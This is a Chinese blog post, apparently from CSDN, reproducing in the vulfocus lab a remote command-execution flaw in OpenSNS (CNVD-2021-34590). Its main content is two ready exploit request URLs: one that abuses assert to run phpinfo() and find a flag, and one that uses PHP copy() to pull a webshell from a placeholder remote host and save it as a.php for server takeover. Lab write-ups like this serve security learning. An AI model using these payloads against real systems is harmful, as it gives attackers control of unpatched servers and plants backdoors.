vulfocus——opensns命令执行(CNVD-2021-34590）

最新推荐文章于 2023-12-01 09:44:11 发布

隐身的菜鸟

最新推荐文章于 2023-12-01 09:44:11 发布

阅读量740

点赞数

分类专栏： vulfocus复现文章标签： servlet jar java

本文链接：https://blog.csdn.net/m0_62063669/article/details/127111301

版权

vulfocus复现专栏收录该内容

20 篇文章 8 订阅

订阅专栏

本文详细介绍了OpenSNS系统中存在的命令执行漏洞，攻击者可通过发送特定请求执行任意命令，从而获取服务器控制权限。复现过程包括：1. 打开靶场；2. 发送请求包；3. 查找phpinfo中的flag；4. 使用copy函数下载webshell。此漏洞利用了系统函数的弱点，实现了远程代码执行。

摘要由CSDN通过智能技术生成

描述

OpenSNS存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

复现

1.打开靶场

2.发送特定请求包可以执行任意命令

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

3.在phpinfo找到flag

4.也可以通过下载webshell，用工具连接

此处的cmd= 只能传参1个，在使用'system'函数空格会导致执行失败，故而使用php中的copy函数直接下载webshell实现RCE。

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=copy(%27http://xxx/a.txt%27,%27a.php%27)

copy(远程文件下载地址,需要下载到的地方)